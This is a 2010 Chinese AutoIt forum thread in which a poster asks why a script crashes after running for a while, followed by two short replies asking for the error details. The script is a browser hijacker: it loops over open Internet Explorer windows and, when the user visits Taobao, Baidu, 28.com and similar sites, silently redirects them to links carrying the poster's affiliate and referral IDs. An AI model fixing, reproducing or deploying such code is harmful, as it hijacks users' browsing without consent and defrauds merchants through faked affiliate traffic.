找回密码
 加入
搜索
查看: 1380|回复: 2

[AU3基础] 为什么我的这个代码运行一代时间就会出错!

[复制链接]
发表于 2010-9-3 14:01:32 | 显示全部楼层 |阅读模式
While 1
Sleep(400)
$oShell = ObjCreate('shell.application')
$oShellWindows = $oShell.windows
For $Window In $oShellWindows
If StringRight($Window.FullName, 12) = 'iexplore.exe' Then                        
If $Window.locationurl='http://www.taobao.com/' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://pindao.huoban.taobao.com/tms/channel/channelcode.htm?pid=mm_12447901_1946460_8927158&mode=86')
If $Window.locationurl='http://www.taobao.com/go/act/mmbd/pd011.php?pid=mm_15485148_2225907_8732132&w=mmp4ptest' or $Window.locationurl='http://www.baidu.com' Then $Window.navigate('http://pindao.huoban.taobao.com/tms/channel/channelcode.htm?pid=mm_12447901_1946460_8927158&mode=86')
If $Window.locationurl='http://search.gd118114.cn/' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://www.4888.cc')
If $Window.locationurl='http://www.28.com/' or $Window.locationurl='http://28.com' Then $Window.navigate('http://spcode.baidu.com/spcode/spClick?tn=yaoicafe_sp&ctn=0&styleid=3315&tourl=http://tj.28.com/?comeID=96889')
If $Window.locationurl='http://tj.28.com/' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://spcode.baidu.com/spcode/spClick?tn=yaoicafe_sp&ctn=0&styleid=3315&tourl=http://tj.28.com/?comeID=96889')
If $Window.locationurl='http://www.28.com/hot.htm' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://spcode.baidu.com/spcode/spClick?tn=yaoicafe_sp&ctn=0&styleid=3315&tourl=http://tj.28.com/?comeID=96889')
EndIf
Next
WEnd
发表于 2010-9-16 10:40:27 | 显示全部楼层
其实ie udf的一些错误可以忽略的
发表于 2010-9-16 10:41:16 | 显示全部楼层
具体是什么错误也得说说看啊
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-9-21 21:51 , Processed in 0.078000 second(s), 23 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表